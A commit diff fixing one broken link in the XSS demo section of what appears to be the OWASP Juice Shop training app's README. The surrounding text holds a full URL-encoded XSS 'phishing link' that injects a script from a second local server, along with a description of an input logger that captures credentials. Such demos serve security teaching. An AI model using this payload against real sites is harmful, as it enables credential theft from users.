message: Fix link to XSS documentation
diff: @@ -188,7 +188,7 @@ For step-by-step instructions and examples please refer to
  of our companion guide ebook.
  ## XSS Demo
  -To show the possible impact of[XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS), you can download this [docker-compose](https://raw.githubusercontent.com/wurstbrot/shake-logger/master/docker-compose.yml)-file and run `docker-compose up` to start the juice-shop and the shake-logger. Assume you received and (of course) clicked
  +To show the possible impact of[XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)), you can download this [docker-compose](https://raw.githubusercontent.com/wurstbrot/shake-logger/master/docker-compose.yml)-file and run `docker-compose up` to start the juice-shop and the shake-logger. Assume you received and (of course) clicked
  [this inconspicuous phishing link](http://localhost:3000/#/search?q=%3Cscript%3Evar%20js%20%3Ddocument.createElement%28%22script%22%29;js.type%20%3D%20%22text%2Fjavascript%22;js.src%3D%22http:%2F%2Flocalhost:8080%2Fshake.js%22;document.body.appendChild%28js%29;varhash%3Dwindow.location.hash;window.location.hash%3Dhash.substr%280,8%29;%3C%2Fscript%3Eapple)
  and login. Apart from the visual/audible effect, the attacker also
  installed [an input logger](http://localhost:8080/logger.php) to grab credentials! This could easily run on a 3rd party server in real life!
  